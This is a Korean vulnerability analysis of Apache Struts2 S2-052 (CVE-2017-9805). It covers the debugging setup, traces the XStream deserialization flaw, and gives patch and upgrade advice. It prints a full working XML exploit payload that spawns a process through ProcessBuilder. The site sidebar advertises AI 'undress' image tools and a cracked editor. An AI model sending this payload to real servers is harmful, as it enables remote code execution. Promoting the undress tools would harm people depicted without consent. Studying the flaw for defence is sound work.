찾다
운영 및 유지보수안전Struts2-052 취약점 예시 분석

Struts2-052 취약점 예시 분석

May 13, 2023 am 11:25 AM
struts2

서문

2017년 9월 5일 해외 안보 연구 기관인 lgtm.com의 보안 연구원들이 발견한 심각한 취약점이 Apache Struts 2에서 공식적으로 공개되었습니다. 취약점 번호는 CVE-2017-9805(S2-052)입니다. 공격자 원격 명령 실행을 위해 신중하게 구성된 xml 데이터가 전달될 수 있습니다.
Struts2 REST 플러그인의 XStream 구성 요소에는 역직렬화 취약점이 있습니다. XStream 구성 요소를 사용하여 XML 형식의 데이터 패킷을 역직렬화하면 데이터 콘텐츠가 효과적으로 확인되지 않아 보안 위험이 발생하고 원격 명령으로 실행될 수 있습니다.
악용 조건: REST 플러그인을 사용하고 영향을 받는 버전 범위 내에서.
악용 방법: 공격자는 원격 악용을 위해 악성 데이터 패킷을 구성합니다.
영향 버전: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

디버깅 환경 구축

1) 공식 소스 코드 다운로드:
git clone https://github.com/apache/Struts .git
2) 2.5.12 브랜치로 전환:
git checkout STRUTS_2_5_12
3) 소스 패키지의 전체 src/apps/rest-showcase 폴더를 복사하고 새 프로젝트를 생성합니다.
4) IDEA 또는 eclipse를 사용하여 maven 프로젝트
5 ) 디버그 모드로 실행한 후, 즐겁게 디버깅할 수 있습니다
Struts2-052 취약점 예시 분석

취약점 원리 분석

공식 발표에 따르면 취약점은 struts2-rest-plugin-2.5의 XstreamHandler 클래스에 나타나는 것으로 알려져 있습니다. .12.jar 패키지.
이 클래스를 보세요. 이 클래스에는 toObject 메서드가 있으며, 그 기능은 xml 콘텐츠를 역직렬화하는 것입니다.
Struts2-052 취약점 예시 분석
먼저 이 메서드에 중단점을 설정한 다음 데이터 패킷을 구성합니다.
Struts2-052 취약점 예시 분석
데이터 패킷을 보낸 후 중단점으로 점프합니다. 이때 상위 호출 스택의 ContentTypeInterceptor가 호출된 것을 볼 수 있습니다. this method
Struts2-052 취약점 예시 분석
ContentTypeInterceptor 클래스의 Intercept 메소드는 전달된 Content-Type의 값을 기반으로 해당 개체를 생성합니다. application/xml을 전달하므로 XML 처리 개체 XStreamHandler가 그에 따라 생성됩니다.
f5로 계속해서 역직렬화를 수행하는 unmarshal 함수를 확인하세요. 이 함수가 실행될 때 데이터 보안 검사가 없으므로 원격 명령이 실행됩니다.
Struts2-052 취약점 예시 분석
그런 다음 unmarshal 함수를 입력하고 디버깅을 계속합니다. AbstractReflectionConverter는 우리가 제출한 xml 태그와 값을 단계별로 구문 분석하고 마지막으로 poc의 코드를 호출합니다.
Struts2-052 취약점 예시 분석

취약점은 http 페이지에서 재현됩니다

. //localhost:8080 //struts2-rest-showcase/orders/3/edit에서 제출을 클릭합니다.
Struts2-052 취약점 예시 분석
HTTP 요청을 가로채서 요청 본문을 POC 페이로드로 변경하고 콘텐츠 유형 헤더를 application/xml로 변경합니다. .
페이로드는

<map> 
  <entry> 
    <jdk.nashorn.internal.objects.nativestring> 
      <flags>0</flags>  
      <value> 
        <datahandler> 
          <datasource> 
            <is> 
              <cipher> 
                <initialized>false</initialized>  
                <opmode>0</opmode>  
                <serviceiterator> 
                  <iter> 
                    <iter></iter>  
                    <next> 
                      <command> 
                        <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> 
                      </command>  
                      <redirecterrorstream>false</redirecterrorstream> 
                    </next> 
                  </iter>  
                  <filter> 
                    <method> 
                      <class>java.lang.ProcessBuilder</class>  
                      <name>start</name>  
                      <parameter-types></parameter-types> 
                    </method>  
                    <name>foo</name> 
                  </filter>  
                  <next>foo</next> 
                </serviceiterator>  
                <lock></lock> 
              </cipher>  
              <input>  
              <ibuffer></ibuffer>  
              <done>false</done>  
              <ostart>0</ostart>  
              <ofinish>0</ofinish>  
              <closed>false</closed> 
            </is>  
            <consumed>false</consumed> 
          </datasource>  
          <transferflavors></transferflavors> 
        </datahandler>  
        <datalen>0</datalen> 
      </value> 
    </jdk.nashorn.internal.objects.nativestring>  
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> 
  </entry>  
  <entry> 
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring>  
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> 
  </entry> 
</map>

요청을 보낸 후 계산기가 나타납니다
Struts2-052 취약점 예시 분석

patch

공식 패치는 주로 xml의 데이터를 화이트리스트에 추가하고 컬렉션 및 맵, 몇 가지 기본 클래스를 추가합니다. 클래스는 화이트리스트에 배치되어 역직렬화 중에 XStream이 유해한 클래스를 가져오는 것을 방지할 수 있습니다Struts2-052 취약점 예시 분석

수정 제안

버전 2.3.0에서 2.3.33으로 업그레이드 Struts 2.3.34 버전
버전 0에서 2.5.12로 업그레이드하세요. Struts 2.5.13 버전으로 업그레이드

위 내용은 Struts2-052 취약점 예시 분석의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명
이 기사는 亿速云에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

Video Face Swap

Video Face Swap

완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

뜨거운 도구

WebStorm Mac 버전

WebStorm Mac 버전

유용한 JavaScript 개발 도구

DVWA

DVWA

DVWA(Damn Vulnerable Web App)는 매우 취약한 PHP/MySQL 웹 애플리케이션입니다. 주요 목표는 보안 전문가가 법적 환경에서 자신의 기술과 도구를 테스트하고, 웹 개발자가 웹 응용 프로그램 보안 프로세스를 더 잘 이해할 수 있도록 돕고, 교사/학생이 교실 환경 웹 응용 프로그램에서 가르치고 배울 수 있도록 돕는 것입니다. 보안. DVWA의 목표는 다양한 난이도의 간단하고 간단한 인터페이스를 통해 가장 일반적인 웹 취약점 중 일부를 연습하는 것입니다. 이 소프트웨어는

SublimeText3 영어 버전

SublimeText3 영어 버전

권장 사항: Win 버전, 코드 프롬프트 지원!

에디트플러스 중국어 크랙 버전

에디트플러스 중국어 크랙 버전

작은 크기, 구문 강조, 코드 프롬프트 기능을 지원하지 않음

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기